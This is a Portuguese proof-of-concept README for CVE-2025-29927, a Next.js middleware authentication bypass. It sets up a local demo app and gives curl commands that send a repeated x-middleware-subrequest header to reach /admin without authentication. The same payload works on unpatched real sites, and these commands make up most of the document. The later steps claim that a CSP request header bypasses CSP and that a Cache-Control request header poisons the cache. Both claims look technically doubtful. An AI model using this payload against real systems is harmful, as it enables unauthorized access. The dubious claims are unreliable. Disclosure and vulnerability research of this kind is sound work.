
CVE-2025-29927 Proof of Concept
Este PoC demonstra o CVE-2025-29927, uma vulnerabilidade no middleware do Next.js que permite a atacantes contornar mecanismos de autenticação, autorização e CSP usando o cabeçalho x-middleware-subrequest.
Versões do Next.js de 11.1.4 a 15.1.7
1️⃣ Clone e Instale o PoC
git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo
cd my-next-app
npm install
npm run dev
O aplicativo será iniciado em http://localhost:3000
1- Use x-middleware-subrequest para obter acesso não autorizado:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
💥 Resultado esperado: A resposta retorna admin admin, mesmo que a autenticação tenha sido contornada.

Se o CSP for aplicado via middleware, contorne-o:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Security-Policy: default-src 'self'" \
http://localhost:3000/admin
💥 Resultado esperado: O CSP é ignorado, permitindo a execução de scripts maliciosos.
Explore o envenenamento de cache forçando uma resposta malformada:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Cache-Control: public, max-age=3600" \
http://localhost:3000/admin
💥 Resultado esperado: A página é armazenada em cache com conteúdo incorreto, interrompendo usuários normais.
🔍 Descoberto por: Allam Rachid (zhero;) & Allam Yasser (inzo_)